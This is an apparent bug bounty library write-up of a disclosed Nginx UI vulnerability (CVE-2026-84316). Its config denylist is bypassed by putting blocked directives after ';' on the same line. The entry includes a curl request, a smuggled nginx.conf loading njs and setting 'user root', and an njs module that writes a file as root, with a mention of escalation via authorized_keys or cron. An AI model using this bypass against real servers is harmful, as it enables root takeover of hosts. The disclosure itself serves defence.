# Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image)

Nginx UI's directive denylist only checks the first token per newline, so `;`-separated blocked directives (load_module, user root, js_import) pass validation and yield root njs RCE.

- Payout: Research
- Severity: high
- Program: Nginx UI
- Found by: novice-22
- Disclosed: 2026-10-15
- CVE: CVE-2026-84316
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-cf23-7qxj-xmhr
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-cf23-7qxj-xmhr
- Tags: area:cloud domain:infra domain:web impact:privesc impact:rce kind:research platform:ghsa sev:high tech:docker tech:nginx technique:incomplete-fix technique:source-review vuln:misconfiguration vuln:rce

**Target:** nginx config validator (ValidateConfigFile) and config write API/MCP endpoints
**Root cause:** ValidateConfigDirectives splits content on newlines and inspects only the first token of each line, but nginx separates directives with `;`, so a benign first directive masks a blocked one on the same line. `include` is also absent from the denylist.
**Steps:**
1. Baseline: `POST /api/configs` with `{"name":"x.conf","base_dir":"","content":"js_import a.js;","overwrite":true}` returns 40017 restricted directive (rejected).
2. Create njs module via validated REST add: `POST /api/configs` with content `import fs from 'fs'; function pwn(r){ fs.writeFileSync('/tmp/NJS_VIA_DENYLIST_BYPASS.txt','denylist-bypass-rce-ok\n'); r.return(200,'pwned2\n'); } export default { pwn };` — accepted.
3. Overwrite nginx.conf via MCP `nginx_config_modify` with `worker_processes 1; load_module /usr/lib/nginx/modules/ngx_http_js_module.so;`, `error_log ...; user root;`, and `default_type application/octet-stream; js_import poc from /etc/nginx/poc.conf;` plus `location = /pwn3 { js_content poc.pwn; }` — accepted.
4. Reload nginx; `nginx -t` passes, worker `/proc/<pid>/status` shows `Uid: 0 0 0 0`, `GET /pwn3` returns `pwned2`, and root-owned `/tmp/NJS_VIA_DENYLIST_BYPASS.txt` is created.
**How found:** Code review of internal/config/validation.go: noticed the scanner splits on `\n` and keys all checks on the first token of each line, while nginx parses `;` as the directive separator — so a benign first directive masks a blocked one. Also noticed `include` missing from blockedConfigDirectives.
**Exploitation:** Authenticated caller (node secret via X-Node-Secret or user JWT) writes an njs module file through the validated REST add path, then overwrites main nginx.conf through the MCP nginx_config_modify tool smuggling `load_module`, `user root`, and `js_import`/`js_content` after benign directives on the same line. Reload executes njs as root, giving arbitrary root file read/write.
**Escalation:** Root file write via njs `fs` trivially escalates to full host compromise (authorized_keys/cron), though that final step was not executed in the PoC. On stock nginx without njs/perl, injected directives cause failed reload (DoS) plus `user root` privilege regression.
**Insight:** When a denylist validates a config language, mirror the target parser's actual tokenization (statement separators, blocks, comments, line continuations) rather than line-based first-token heuristics; test `a 1; b 2;` on one line against any such filter. Also check whether `include` is blocked and whether included files are recursed into.

## Proof of concept (copied exactly from the original report)

**Baseline rejected js_import via POST /api/configs**

```
curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \
  -d '{"name":"x.conf","base_dir":"","content":"js_import a.js;","overwrite":true}'
# -> 40017 "file content contains restricted nginx directive: js_import"   (REJECTED)
```

**Smuggled nginx.conf with same-line ; bypass**

```
worker_processes 1; load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
error_log /var/log/nginx/error.log notice; user root;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
    include /etc/nginx/mime.types;
    default_type application/octet-stream; js_import poc from /etc/nginx/poc.conf;
    server { listen 8897; location = /pwn3 { js_content poc.pwn; } }
```

**njs module file written via validated add**

```
import fs from 'fs';
  function pwn(r){ fs.writeFileSync('/tmp/NJS_VIA_DENYLIST_BYPASS.txt','denylist-bypass-rce-ok\n'); r.return(200,'pwned2\n'); }
  export default { pwn };
```

